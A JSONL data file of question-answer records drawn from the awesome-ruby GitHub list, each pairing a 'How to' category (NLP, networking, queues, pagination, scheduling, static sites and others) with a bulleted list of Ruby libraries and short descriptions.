{"id": "gh_ecab5c6311a7", "question": "How to: Measurements", "question_body": "About markets/awesome-ruby", "answer": "* [Measured](https://github.com/Shopify/measured) - Wrapper objects which encapsulate measurements and their associated units in Ruby.\n* [Ruby Units](https://github.com/olbrich/ruby-units) - Provides classes and methods to perform unit math and conversions.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541166"}
{"id": "gh_0a087ff88a87", "question": "How to: Mobile Development", "question_body": "About markets/awesome-ruby", "answer": "* [dryrun](https://github.com/cesarferreira/dryrun) - Try any Android library on your smartphone directly from the command line.\n* [fastlane](https://github.com/fastlane/fastlane) - Connect all iOS deployment tools into one streamlined workflow.\n* [PubNub](https://github.com/pubnub/ruby) - Real-time Push Service in the Cloud.\n* [Ruboto](https://github.com/ruboto/ruboto) - A platform for developing full stand-alone apps for Android using the Ruby language and libraries.\n* [RubyMotion](http://www.rubymotion.com) - A revolutionary toolchain that lets you quickly develop and test full-fledged native iOS and OS X applications for iPhone, iPad, Mac and Android.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541172"}
{"id": "gh_eaa3f01a5d60", "question": "How to: Music and Sound", "question_body": "About markets/awesome-ruby", "answer": "* [Coltrane](https://github.com/pedrozath/coltrane) - A music theory library with a command-line interface.\n* [Maestro](https://github.com/smashingboxes/maestro) - A Slack-Powered music bot for Spotify\n* [Sonic Pi](https://github.com/samaaron/sonic-pi) - A live coding synth for everyone originally designed to support computing and music lessons.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541177"}
{"id": "gh_79622c91c04f", "question": "How to: Natural Language Processing", "question_body": "About markets/awesome-ruby", "answer": "* [Awesome NLP with Ruby](https://github.com/arbox/nlp-with-ruby) - Awesome List for Practical Natural Language Processing done in Ruby.\n* [Parslet](http://kschiess.github.io/parslet/) - A small Ruby library for constructing parsers in the PEG (Parsing Expression Grammar) fashion.\n* [pocketsphinx-ruby](https://github.com/watsonbox/pocketsphinx-ruby) - Ruby speech recognition with Pocketsphinx.\n* [Pragmatic Segmenter](https://github.com/diasks2/pragmatic_segmenter) - Pragmatic Segmenter is a rule-based sentence boundary detection gem that works out-of-the-box across many languages.\n* [Ruby Natural Language Processing Resources](https://github.com/diasks2/ruby-nlp) - Collection of links to Ruby Natural Language Processing (NLP) libraries, tools and software.\n* [ruby-spellchecker](https://github.com/omohokcoj/ruby-spellchecker) - English spelling and grammar checker that can be used for autocorrection.\n* [Sentimental](https://github.com/7compass/sentimental) - Simple sentiment analysis with Ruby.\n* [Text](https://github.com/threedaymonk/text) - A collection of text algorithms including Levenshtein distance, Metaphone, Soundex 2, Porter stemming & White similarity.\n* [Textstat](https://github.com/kupolak/textstat) - Ruby gem for text readability analysis. Calculate readability statistics using 13 proven formulas (Flesch, SMOG, Coleman-Liau, etc.) with support for 22 languages.\n* [Treat](https://github.com/louismullie/treat) - Treat is a toolkit for natural language processing and computational linguistics in Ruby.\n* [Treetop](https://github.com/cjheath/treetop) - PEG (Parsing Expression Grammar) parser.\n* [Words Counted](https://github.com/abitdodgy/words_counted) - A highly customisable Ruby text analyser and word counter.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541184"}
{"id": "gh_1264e7664514", "question": "How to: Networking", "question_body": "About markets/awesome-ruby", "answer": "* [Dnsruby](https://github.com/alexdalitz/dnsruby) - A pure Ruby DNS client library which implements a stub resolver. It aims to comply with all DNS RFCs.\n* [RubyDNS](https://github.com/ioquatix/rubydns) - A high-performance DNS server which can be easily integrated into other projects or used as a stand-alone daemon.\n* [PacketFu](https://github.com/packetfu/packetfu) - A library for reading and writing packets to an interface or to a libpcap-formatted file.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541189"}
{"id": "gh_f327b7d7533b", "question": "How to: Notifications", "question_body": "About markets/awesome-ruby", "answer": "* [Noticed](https://github.com/excid3/noticed) - ActionMailer-like Notification System for your Ruby on Rails app.\n* [Ruby Push Notifications](https://github.com/calonso/ruby-push-notifications) - iOS, Android and Windows Phone Push notifications made easy.\n* [Rpush](https://github.com/rpush/rpush) - The push notification service for Ruby which supports Apple Push Notification Service, Google Cloud Messaging, Amazon Device Messaging and Windows Phone Push Notification Service.\n* [webpush](https://github.com/zaru/webpush) - Encryption Utilities for Web Push protocol.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541194"}
{"id": "gh_0b66e39a7b4f", "question": "How to: Optimizations", "question_body": "About markets/awesome-ruby", "answer": "* [bootsnap](https://github.com/Shopify/bootsnap) - Boot large Ruby/Rails apps faster.\n* [fast_blank](https://github.com/SamSaffron/fast_blank) - Provides a C-optimized method for determining if a string is blank.\n* [fast_count](https://github.com/fatkodima/fast_count) - Quickly get a count estimation for large tables (>99% of accuracy for PostgreSQL).\n* [fast_underscore](https://github.com/kddeisz/fast_underscore) - Provides a C-optimized method for transforming a string from any capitalization into underscore-separated\n* [pluck_in_batches](https://github.com/fatkodima/pluck_in_batches) - A faster alternative to the custom use of `in_batches` with `pluck`.\n* [yajl-ruby](https://github.com/brianmario/yajl-ruby) - A streaming JSON parsing and encoding library for Ruby (C bindings to yajl).", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541200"}
{"id": "gh_45bfdf242f8b", "question": "How to: ORM/ODM Extensions", "question_body": "About markets/awesome-ruby", "answer": "* Auditing and Versioning\n  * [active_snapshot](https://github.com/westonganger/active_snapshot) - Simplified snapshots and restoration for ActiveRecord models and associations with a transparent white-box implementation\n  * [acts_as_archival](https://github.com/expectedbehavior/acts_as_archival) - ActiveRecord plugin for atomic object tree archiving.\n  * [ActsAsParanoid](https://github.com/ActsAsParanoid/acts_as_paranoid) - ActiveRecord plugin allowing you to hide and restore records without actually deleting them.\n  * [Audited](https://github.com/collectiveidea/audited) - Audited is an ORM extension for ActiveRecord & MongoMapper that logs all changes to your models.\n  * [Destroyed At](https://github.com/dockyard/ruby-destroyed_at) - Allows you to \"destroy\" an object without deleting the record or associated records.\n  * [Discard](https://github.com/jhawthorn/discard) - A simple ActiveRecord mixin to add conventions for flagging records as discarded.\n  * [Logidze](https://github.com/palkan/logidze) - Database changes log for Rails.\n  * [marginalia](https://github.com/basecamp/marginalia) - Attach comments to your ActiveRecord queries. By default, it adds the application, controller, and action names as a comment at the end of each query.\n  * [mongoid-history](https://github.com/aq1018/mongoid-history) - Multi-user non-linear history tracking, auditing, undo, redo for mongoid.\n  * [PaperTrail](https://github.com/airblade/paper_trail) - Track changes to your ActiveRecord models' data for auditing or versioning.\n  * [Paranoia](https://github.com/radar/paranoia) - A re-implementation of acts_as_paranoid for Rails 3 and 4, using much, much, much less code.\n  * [PermenantRecords](https://github.com/JackDanger/permanent_records) - Soft-delete your ActiveRecord records, like an explicit version of ActsAsParanoid.\n* Bit array\n  * [ActiveFlag](https://github.com/kenn/active_flag) - Store up to 64 multiple flags in a single integer column with ActiveRecord.\n  * [Bitfields](https://github.com/grosser/bitfields) - Save migrations and columns by storing multiple booleans in a single integer.\n* Import\n  * [ActiveRecord Import](https://github.com/zdennis/activerecord-import) - a library for bulk inserting data using ActiveRecord.\n  * [bulk_insert](https://github.com/jamis/bulk_insert) - A little ActiveRecord extension for helping to insert lots of rows in a single insert statement.\n  * [data_miner](https://github.com/seamusabshere/data_miner) - Download, pull out of a ZIP/TAR/GZ/BZ2 archive, parse, correct, and import XLS, ODS, XML, CSV, HTML, etc. into your ActiveRecord models.\n  * [ferry](https://github.com/cmu-is-projects/ferry) - A ruby gem for easy data transfer.\n* Misc\n  * [arel_extensions](https://github.com/faveod/arel-extensions) - Extending Arel: more \"rubyish\" syntax, functions for strings, dates, math... and add native extensions for some DBs.\n  * [ActiveRecord::Turntable](https://github.com/drecom/activerecord-turntable) - A database sharding extension for ActiveRecord.\n  * [ActiveValidators](https://github.com/franckverrot/activevalidators) - An exhaustive collection of off-the-shelf and tested ActiveModel/ActiveRecord validations.\n  * [DeepPluck](https://github.com/khiav223577/deep_pluck) - Allow you to pluck attributes from nested associations without loading a bunch of records.\n  * [Enumerize](https://github.com/brainspec/enumerize) - Enumerated attributes with I18n and ActiveRecord/Mongoid/MongoMapper support.\n  * [Goldiloader](https://github.com/salsify/goldiloader) - Automatic ActiveRecord eager loading.\n  * [Rating](https://github.com/wbotelhos/rating) - A true Bayesian rating system with scope and cache enabled.\n* Multi-tenancy\n  * [Acts As Tennant](https://github.com/ErwinM/acts_as_tenant) - Add multi-tenancy to a Rails app through a shared database strategy.\n  * [Apartment](https://github.com/influitive/apartment) - Multi-tenancy for Rails and ActiveRecord.\n  * [Milia](https://github.com/jekuno/milia) - Non-invasive multi-tenancy for Rails which supports Devise authentication out of the box.\n* Social\n  * [Merit](https://github.com/merit-gem/merit) - Adds reputation behavior to Rails apps in the form of Badges, Points, and Rankings for ActiveRecord or Mongoid.\n  * [PublicActivity](https://github.com/chaps-io/public_activity) - Provides easy activity tracking for your ActiveRecord, Mongoid 3 and MongoMapper models in Rails 3 and 4. Similar to Github's Public Activity.\n  * [Simple Feed](https://github.com/kigster/simple-feed) - Fast and highly scalable read-optimized social activity feed library in pure Ruby, backed by Redis.\n  * [Unread](https://github.com/ledermann/unread) - Manage read/unread status of ActiveRecord objects - and it's fast.\n* Sorting\n  * [ActsAsList](https://github.com/swanandp/acts_as_list) - Provides the capabilities for sorting and reordering a number of objects in a list.\n  * [positioning](https://github.com/brendon/positioning) - Simple positioning for Active Record models. Su", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541223"}
{"id": "gh_56c15741d982", "question": "How to: Package Management", "question_body": "About markets/awesome-ruby", "answer": "* Gems\n  * [Bundler](https://bundler.io) - Manage your application's gem dependencies with less pain.\n  * [RubyGems](https://rubygems.org) - Community's gem hosting service.\n  * [Cloudsmith](https://cloudsmith.io) - A fully managed package management SaaS with support for Rubygems (and many others).\n* Packages and Applications\n  * [Berkshelf](https://github.com/berkshelf/berkshelf) - A Chef Cookbook manager.\n  * [CocoaPods](https://github.com/CocoaPods/CocoaPods) - The Objective-C dependency manager.\n  * [fpm](https://github.com/jordansissel/fpm) - Effing package management! Build packages for multiple platforms (deb, rpm, etc) with great ease and sanity.\n  * [Linuxbrew](https://github.com/Homebrew/linuxbrew-core) - A fork of Homebrew for Linux.\n  * [Homebrew-cask](https://github.com/caskroom/homebrew-cask) - A CLI workflow for the administration of Mac applications distributed as binaries.\n  * [Homebrew](https://github.com/Homebrew/brew) - The missing package manager for OS X.\n  * [Traveling Ruby](https://foobarwidget.github.io/traveling-ruby/) - Traveling Ruby lets you create self-contained Ruby app packages for Linux and OS X.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541230"}
{"id": "gh_530a9e85ccab", "question": "How to: Pagination", "question_body": "About markets/awesome-ruby", "answer": "* [activerecord_cursor_paginate](https://github.com/healthie/activerecord_cursor_paginate) - Cursor-based pagination for ActiveRecord.\n* [Kaminari](https://github.com/amatsuda/kaminari) - A Scope & Engine based, clean, powerful, customizable and sophisticated paginator for modern web app frameworks and ORMs.\n* [order_query](https://github.com/glebm/order_query) - A keyset pagination library to find the next or previous record(s) relative to the current one efficiently, e.g. for infinite scroll.\n* [Pagy](https://github.com/ddnexus/pagy) - Pagy is the ultimate pagination gem that outperforms the others in each and every benchmark and comparison. More details can be found on [Pagy Wiki](https://ddnexus.github.io/pagy/index).\n* [will_paginate](https://github.com/mislav/will_paginate) - A pagination library that integrates with Ruby on Rails, Sinatra, Merb, DataMapper and Sequel.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541236"}
{"id": "gh_393dc78c2ec6", "question": "How to: Performance Monitoring", "question_body": "About markets/awesome-ruby", "answer": "* [Instrumental](https://github.com/expectedbehavior/instrumental_agent) - Measure your application in real time with [Instrumental](http://instrumentalapp.com).\n* [New Relic](https://github.com/newrelic/rpm) - Find and fix Ruby errors with New Relic application monitoring and troubleshooting.\n* [RoRvsWild](https://github.com/BaseSecrete/rorvswild) - Performances and exceptions monitoring for Rails developers.\n* [Scout](https://github.com/scoutapp/scout_apm_ruby) - Scout Ruby Application Monitoring Agent.\n* [Skylight](https://github.com/skylightio/skylight-ruby) - A smart profiler for your Rails apps that visualizes request performance.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541243"}
{"id": "gh_51e674abd623", "question": "How to: Presentation Programs", "question_body": "About markets/awesome-ruby", "answer": "* [Slide Show (S9)](https://github.com/slideshow-s9/slideshow) - Write your slides / talks / presentations in plain text with markdown formatting conventions and generate (static) web pages; template packs incl. deck.js, impress.js, reveal.js, shower, s6, s5 and more.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541247"}
{"id": "gh_ce6f1bc62cc9", "question": "How to: Process Management and Monitoring", "question_body": "About markets/awesome-ruby", "answer": "* [Bluepill](https://github.com/bluepill-rb/bluepill) - Simple process monitoring tool.\n* [Eye](https://github.com/kostya/eye) - Process monitoring tool. Inspired from Bluepill and God.\n* [Foreman](https://github.com/ddollar/foreman) - Manage Procfile-based applications.\n* [God](https://github.com/mojombo/god) - An easy to configure, easy to extend monitoring framework written in Ruby.\n* [Health Monitor Rails](https://github.com/lbeder/health-monitor-rails) - A mountable Rails plug-in to check health of services (Database, Cache, Sidekiq, Redis, e.t.c.) used by the Rails app.\n* [Procodile](https://github.com/adamcooke/procodile) - Run processes in the background (and foreground) on Mac & Linux from a Procfile.\n* [RedisWebManager](https://github.com/OpenGems/redis_web_manager) - Web interface that allows you to manage easily your Redis instance (see keys, memory used, connected client, etc...).", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541253"}
{"id": "gh_6a96072919d2", "question": "How to: Queues and Messaging", "question_body": "About markets/awesome-ruby", "answer": "* [Backburner](https://github.com/nesquena/backburner) - Backburner is a beanstalkd-powered job queue that can handle a very high volume of jobs.\n* [Bunny](https://github.com/ruby-amqp/bunny) - Bunny is a popular, easy to use, well-maintained Ruby client for RabbitMQ (3.3+).\n* [Delayed::Job](https://github.com/collectiveidea/delayed_job) - Database backed asynchronous priority queue.\n* [GoodJob](https://github.com/bensheldon/good_job) - GoodJob is a multithreaded, Postgres-based, ActiveJob backend for Ruby on Rails.\n* [Gush](https://github.com/chaps-io/gush) - A parallel runner for complex workflows using only Redis and Sidekiq.\n* [JobIteration](https://github.com/Shopify/job-iteration) - An ActiveJob extension to make long-running jobs interruptible and resumable.\n* [Karafka](https://github.com/karafka/karafka) - Framework used to simplify Apache Kafka (a distributed streaming platform) based Ruby applications development.\n* [Lowkiq](https://github.com/bia-technologies/lowkiq) - Ordered processing of background jobs for cases where Sidekiq can't help.\n* [March Hare](https://github.com/ruby-amqp/march_hare) - Idiomatic, fast and well-maintained JRuby client for RabbitMQ.\n* [Resque](https://github.com/resque/resque) - A Redis-backed Ruby library for creating background jobs.\n* [Que](https://github.com/chanks/que) - A Ruby job queue that uses PostgreSQL's advisory locks for speed and reliability.\n* [RocketJob](http://rocketjob.io) - Enterprise Batch Processing System focused on performance, scalability, reliability, and visibility of every job in the system. Outgrown existing solutions? Or, start small and scale up later.\n* [Shoryuken](https://github.com/phstc/shoryuken) - A super efficient AWS SQS thread based message processor for Ruby.\n* [Sidekiq](https://sidekiq.org) - A full-featured background processing framework for Ruby. It aims to be simple to integrate with any modern Rails application and much higher performance than other existing solutions.\n* [SidekiqIteration](https://github.com/fatkodima/sidekiq-iteration) - A Sidekiq extension to make long-running jobs interruptible and resumable.\n* [Sneakers](https://github.com/jondot/sneakers) - A fast background processing framework for Ruby and RabbitMQ.\n* [Sucker Punch](https://github.com/brandonhilkert/sucker_punch) - A single process background processing library using Celluloid. Aimed to be Sidekiq's little brother.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541270"}
{"id": "gh_ff60a1ecb639", "question": "How to: Rails Application Generators", "question_body": "About markets/awesome-ruby", "answer": "* [Bootstrappers](https://github.com/xdite/bootstrappers) - Bootstrappers generates a base Rails app using Bootstrap template and other goodies.\n* [Hobo](https://github.com/Hobo/hobo) - The web app builder for Rails.\n* [orats](https://github.com/nickjj/orats) - Opinionated rails application templates.\n* [Rails Composer](https://github.com/RailsApps/rails-composer) - The Rails generator on steroids for starter apps.\n* [Raygun](https://github.com/carbonfive/raygun) - Builds applications with the common customization stuff already done.\n* [Suspenders](https://github.com/thoughtbot/suspenders) - Suspenders is the base Rails application used at thoughtbot.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541275"}
{"id": "gh_719a890ae74a", "question": "How to: Serverless", "question_body": "About markets/awesome-ruby", "answer": "* [FaaStRuby](https://faastruby.io) - Serverless Software Development Platform for Ruby and Crystal developers.\n* [Jets](https://github.com/tongueroo/jets) - A Ruby Serverless Framework to create and deploy serverless microservices with ease, and to seamlessly glue AWS services.\n* [🐑 Lamby](https://lamby.custominktech.com/) - Simple Rails & AWS Lambda Integration using Rack", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541282"}
{"id": "gh_ec05ccf78f14", "question": "How to: Scheduling", "question_body": "About markets/awesome-ruby", "answer": "* [minicron](https://github.com/jamesrwhite/minicron) - A system to manage and monitor cron jobs.\n* [que-scheduler](https://github.com/hlascelles/que-scheduler) - A lightweight cron scheduler for the async job worker Que.\n* [resque-scheduler](https://github.com/resque/resque-scheduler) - A light-weight job scheduling system built on top of Resque.\n* [rufus-scheduler](https://github.com/jmettraux/rufus-scheduler) - Job scheduler for Ruby (at, cron, in and every jobs).\n* [ruby-clock](https://github.com/jjb/ruby-clock) - A job scheduler which runs jobs each in their own thread in a persistent process.\n* [Sidekiq-Cron](https://github.com/ondrejbartas/sidekiq-cron) - A scheduling add-on for Sidekiq.\n* [Simple Scheduler](https://github.com/simplymadeapps/simple_scheduler) - An enhancement for Heroku Scheduler + Sidekiq for scheduling jobs at specific times with a readable YML file.\n* [Whenever](https://github.com/javan/whenever) - A Ruby gem that provides a clear syntax for writing and deploying cron jobs.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541288"}
{"id": "gh_1b39963be9f6", "question": "How to: Scientific", "question_body": "About markets/awesome-ruby", "answer": "* Bindings\n  * [PyCall](https://github.com/mrkn/pycall.rb) - Calling Python functions from the Ruby language.\n  * [ruby-opencv](https://github.com/ruby-opencv/ruby-opencv) - An OpenCV wrapper for Ruby.\n* Classifiers\n  * [classifier-reborn](https://github.com/jekyll/classifier-reborn) - An active fork of Classifier, and general module to allow Bayesian and other types of classifications.\n* Data analysis/structures\n  * [daru](https://github.com/v0dro/daru) - A library for storage, analysis, manipulation and visualization of data in pure Ruby.\n  * [Daru::View](https://github.com/SciRuby/daru-view) - A library for easy and interactive plotting on Jupyter Notebooks and web applications.\n  * [Rgl](https://github.com/monora/rgl) - A framework for graph data structures and algorithms.\n* Numerical arrays\n  * [NMatrix](https://github.com/sciruby/nmatrix) - Fast numerical linear algebra library for Ruby.\n  * [Numo::NArray](https://github.com/ruby-numo/numo-narray) - N-dimensional Numerical Array for Ruby.\n  * [mdarray](https://github.com/rbotafogo/mdarray) - Multi dimensional array implemented for JRuby inspired by NumPy.\n* [Red Data Tools](https://github.com/red-data-tools) - Data processing tools for Ruby.\n* [SciRuby](https://github.com/sciruby/sciruby) - Tools for scientific computation in Ruby/Rails.\n  * [IRuby](https://github.com/SciRuby/iruby) - A Ruby kernel for Jupyter.\n  * [statsample](https://github.com/sciruby/statsample) - A suite for basic and advanced statistics on Ruby.\n  * [statsample-timeseries](https://github.com/sciruby/statsample-timeseries) - Bioruby Statsample TimeSeries.\n  * [statsample-glm](https://github.com/sciruby/statsample-glm) - Generalized Linear Models extension for Statsample.\n  * [distribution](https://github.com/sciruby/distribution) - Statistical Distributions multi library wrapper.\n  * [minimization](https://github.com/sciruby/minimization) - Minimization algorithms on pure Ruby.\n* Specific\n  * [BioRuby](https://github.com/bioruby/bioruby) - Library for developing bioinformatics software.\n  * [bloomfilter-rb](https://github.com/igrigorik/bloomfilter-rb) - BloomFilter(s) in Ruby: Native counting filter + Redis counting/non-counting filters.\n  * [decisiontree](https://github.com/igrigorik/decisiontree) - A ruby library which implements ID3 (information gain) algorithm for decision tree learning.\n* Utilities\n  * [algorithms](https://github.com/kanwei/algorithms) - Library with documentation on when to use a particular structure/algorithm.\n  * [jaro_winkler](https://github.com/tonytonyjan/jaro_winkler) - Ruby & C implementation of Jaro-Winkler distance algorithm which supports UTF-8 string.\n  * [primes-utils](https://github.com/jzakiya/primes-utils) - A Rubygem which provides a suite of extremely fast utility methods for testing and generating primes.\n  * [Roots](https://github.com/jzakiya/roots) - A Rubygem which provides utilities to find all the nth roots of real and complex values.\n  * [smarter_csv](https://github.com/tilo/smarter_csv) - Ruby Gem for smarter importing of CSV Files as Array(s) of Hashes.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541298"}
{"id": "gh_a4b0df6bf7e8", "question": "How to: Services and Apps", "question_body": "About markets/awesome-ruby", "answer": "Online tools, services and APIs to simplify development.\n\n* [AppSignal](https://appsignal.com) - Better monitoring for your Rails applications.\n* [Codacy](https://www.codacy.com) - Automated Code Review for Ruby, Rails, JS, PHP, Python etc. Security, Coverage & Quality.\n* [CodeClimate](https://codeclimate.com) - Quality & security analysis for Ruby on Rails and Javascript.\n* [GitHub](https://github.com) - Powerful collaboration, code review, and code management for open source and private projects.\n* [Gitlab CI](https://about.gitlab.com/gitlab-ci/) - Integrate with your GitLab to run tests for your projects.\n* [GitLab](https://about.gitlab.com) - Open source software to collaborate on code.\n* [HoundCI](https://houndci.com) - Review your Ruby code for style guide violations.\n* [Inch CI](https://inch-ci.org/) - Documentation badges for Ruby projects.\n* [OctoLinker](https://github.com/OctoLinker/browser-extension) - Navigate through projects on GitHub.com efficiently with the OctoLinker browser extension.\n* [SemaphoreCI](https://semaphoreci.com) - Hosted continuous integration and deployment service for open source and private projects.\n* [Travis CI](https://travis-ci.com) - Test and Deploy Your Code with Confidence.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541309"}
{"id": "gh_fe4204e5b409", "question": "How to: Social Networking", "question_body": "About markets/awesome-ruby", "answer": "* [Decidim](https://github.com/decidim/decidim) - free open-source participatory democracy for cities and organizations\n* [diaspora*](https://github.com/diaspora/diaspora) - A privacy aware, distributed, open source social network.\n* [Discourse](https://github.com/discourse/discourse) - A platform for community discussion. Free, open, simple.\n* [Mailboxer](https://github.com/mailboxer/mailboxer) - A private message system for Rails applications.\n* [Mastodon](https://github.com/Gargron/mastodon) - A GNU Social-compatible microblogging server.\n* [Retrospring](https://github.com/Retrospring/retrospring) - A social network following the Q/A (question and answer) principle.\n* [Social Shares](https://github.com/Timrael/social_shares) - A gem to check how many times url was shared in social networks.\n* [Thredded](https://github.com/thredded/thredded) - Rails 4.2+ forums/messageboards engine. Its goal is to be as simple and feature rich as possible.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541315"}
{"id": "gh_f80d6a5289da", "question": "How to: Spreadsheets and Documents", "question_body": "About markets/awesome-ruby", "answer": "* [CAXLSX](https://github.com/caxlsx/caxlsx) - A community maintained excel xlsx generation library. [AXLSX](https://github.com/randym/axlsx) - The original.\n* [Docsplit](http://documentcloud.github.io/docsplit) - Gem to convert Microsoft Word (and other) documents into images, pdf, pages or text.\n* [Roo](https://github.com/roo-rb/roo) - Implements read access for all spreadsheet types and read/write access for Google spreadsheets.\n* [spreadsheet_architect](https://github.com/westonganger/spreadsheet_architect) - Spreadsheet Architect is a library that allows you to create XLSX, ODS, or CSV spreadsheets super easily from ActiveRecord relations, plain Ruby objects, or tabular data.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541321"}
{"id": "gh_339044c27642", "question": "How to: State Machines", "question_body": "About markets/awesome-ruby", "answer": "* [AASM](https://github.com/aasm/aasm) - State machines for Ruby classes (plain Ruby, Rails Active Record, Mongoid).\n* [FiniteMachine](https://github.com/peter-murach/finite_machine) - A plain Ruby state machine with a straightforward and expressive syntax.\n* [MicroMachine](https://github.com/soveran/micromachine) - A minimal finite state machine implementation in less than 50 lines of code.\n* [simple_states](https://github.com/svenfuchs/simple_states) - A super-slim statemachine-like support library.\n* [Statesman](https://github.com/gocardless/statesman) - A statesmanlike state machine library.\n* [state_machines](https://github.com/state-machines/state_machines) - Adds support for creating state machines for attributes on any Ruby class.\n* [transitions](https://github.com/troessner/transitions) - A ruby state machine implementation.\n* [Workflow](https://github.com/geekq/workflow) - A finite-state-machine-inspired API for modeling and interacting with what we tend to refer to as 'workflow'.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541327"}
{"id": "gh_76c70497bec8", "question": "How to: Static Site Generation", "question_body": "About markets/awesome-ruby", "answer": "* [Bridgetown](https://github.com/bridgetownrb/bridgetown) - A Webpack-aware, Ruby-powered static site generator for the modern Jamstack era.\n* [High Voltage](https://github.com/thoughtbot/high_voltage) - Easily include static pages in your Rails app.\n* [Jekyll](https://jekyllrb.com) - Transform your plain text into static websites and blogs.\n  * [Awesome Jekyll](https://github.com/planetjekyll/awesome-jekyll) - A collection of awesome Jekyll tools, plugins, themes, guides and much more.\n* [Middleman](http://middlemanapp.com) - A static site generator using all the shortcuts and tools in modern web development.\n* [Nanoc](http://nanoc.ws/) - A static site generator, fit for building anything from a small personal blog to a large corporate web site.\n* [Photish](https://github.com/henrylawson/photish) - Generate a highly configurable static website from a photo collection.\n* [webgen](http://webgen.gettalong.org) - webgen is a fast, powerful and extensible static website generator.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541333"}
